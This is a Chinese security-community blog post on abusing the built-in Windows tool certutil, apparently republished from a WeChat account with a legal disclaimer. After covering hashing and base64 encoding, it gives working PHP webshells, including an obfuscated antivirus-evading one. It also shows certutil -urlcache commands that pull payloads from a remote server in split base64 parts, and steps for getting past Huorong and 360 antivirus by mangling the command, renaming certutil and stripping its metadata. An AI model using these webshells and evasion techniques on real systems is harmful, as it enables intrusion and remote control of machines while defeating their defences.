点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
添加星标不迷路
由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦
一:Certutil.exe–windows自带的渗透利器
它在我们C盘下的C:WindowsSystem32
下,所以我们可以直接调用它
查看一下帮助手册
Certutil是一个CLI程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务,CA组件的备份和还原以及验证证书,密钥对和证书链,它作为证书服务的一部分安装
二:certutil的三大作用
1.散列
校验和对比文件MD5
certutil -hashfile file md5/sha1/sha256
获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。
我们现在创建两个文件 1.txt 2.txt
这两个文件的md5一样 所以这两个文件是相同的
2.编码解码
可以使用certutil对可执行文件或者可读文件进行编码。然后传输编码后的数据,然后在接收机上对其进行解码。
certutil -encode/-decode src_file des_file
(1)base64
(2)hex
certutil -encodehex/-decodehex src_file des_file
要注意的是 不能保存为已经存在的文件 不能覆盖
3.传输文件
certutil可以在互联网上下载文件,这也是我们内网渗透中常用的下载方式之一
certutil -urlcache -f -split http://.....
三:渗透中certutil的艺术
1.写马
在windows中我们会遇见一些情况,比如我们拿到了一个系统的RCE,或者 xp_cmdshell 能够任意命令执行了,但是想要进一步渗透的话,就要上一些webshell或者明星远控了。
所以我们需要去传输一个脚本文件或者一个可执行文件,比如exe dll等二进制的文件,这个时候certutil就有很大的作用了。
比如我们现在有个1.php的文件
<?php
echo `$_REQUEST[1]`;
?>
很简单的一个RCE,然后我们开始写webshell或者上明星远控
先找一下目录
这里有两种方法写马
(1) echo
echo ^<?php @eval($_POST[1]);;?^> > 1.txt
^
来转义尖括号,不然会报错,当我们写蚁剑的一句话的时候可以这样写。
但是当我们写冰蝎或者哥斯拉的马的时候因为要转义的很多,加上文件也很大,而且需要免杀就避不开文件很大而且特殊符号有点多的情况,所以我们要看当前服务器的杀软情况选择使用的方法
(2)用certutil去下载
certutil -urlcache -f -split http://...../test1.php
这种方法的优点就是不用去管转义和文件大小、命令的长度,直接拉取文件到本地。
上明星远控的方法和这个一样,我们可以去分段的传输exe dll,或者php、asp、jsp等脚本文件。
<?php
Class AJWDBHWSJXWSXXWDJWD{
function sadsadsadwadswad($ADJKAHSKJDHCSCDWD)
{
$dasdasdwacdsbvwr=str_rot13(__FILE__);
$sdadadad=str_replace("!","s",str_rot13($dasdasdwacdsbvwr));
$DASDADAJHDKQJHGDJWGDJHQWGDWJDH=substr($sdadadad,24,6);
@$DASDADAJHDKQJHGDJWGDJHQWGDWJDH($ADJKAHSKJDHCSCDWD);
}
}
$sdakdnajkwd='dawdawdascasvfasfda';
$$sdakdnajkwd=$_REQUEST[1];
$tttttttttttttttttttttttttttttttttttttttttttt=new AJWDBHWSJXWSXXWDJWD();
$tttttttttttttttttttttttttttttttttttttttttttt->sadsadsadwadswad($dawdawdascasvfasfda);
?>
我这里有一个免杀的php小马 想要分段传输避免直接被杀软edr检测到被杀。
先用certutil编码然后拆分。
先拆分为两个文件,当然1可以拆解为两个以上,这里只是做一个示范作用
先把这个文件base64编码到本地,然后再解码
certutil -urlcache -f -split http://...../php1.txt
certutil -urlcache -f -split http://...../php2.txt
然后保存到一起解码
certutil -decode php.txt php.php
这个对exe文件一样生效
这样就避免了我们需要大量转义或者传输大文件 危险文件的问题了
四:绕过杀软
当然这么好的渗透工具也是各大杀软保护的对象 我们这里就对抗两种杀软
火绒 360 (defender也可以)
火绒
先试试过火绒 可以看到他是识别了certutil才拦截的 我们可以尝试一下加点无用字符
@ ;,^ "
等等
;,certutil -u""""r""l""""c"ac""he -f -split http://...../php2.txt
好吧还是会察觉到 我们还可以换一个路径 这个默认是调用system32目录下面的exe
copy C:WindowsSystem32certutil.exe 1.exe
1 -urlcache -f -split http://192.168.206.129:8888/1.txt
可以看见火绒已经不拦截了
360
我们先试一下过火绒的方法能不能过掉360
并不能,可以看出来:当我们换一个路径的时候,他还是能识别出来这个certutil,所以我们尝试一下删除它的详细信息
这里推荐一个工具ResoucreHacker
把这段给删除掉在换一个icon
然后再试一下看看是否拦截
发现已经不拦截了
原文始发于微信公众号(SecHub网络安全社区):Windows自带渗透利具certutil的使用与Bypass
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论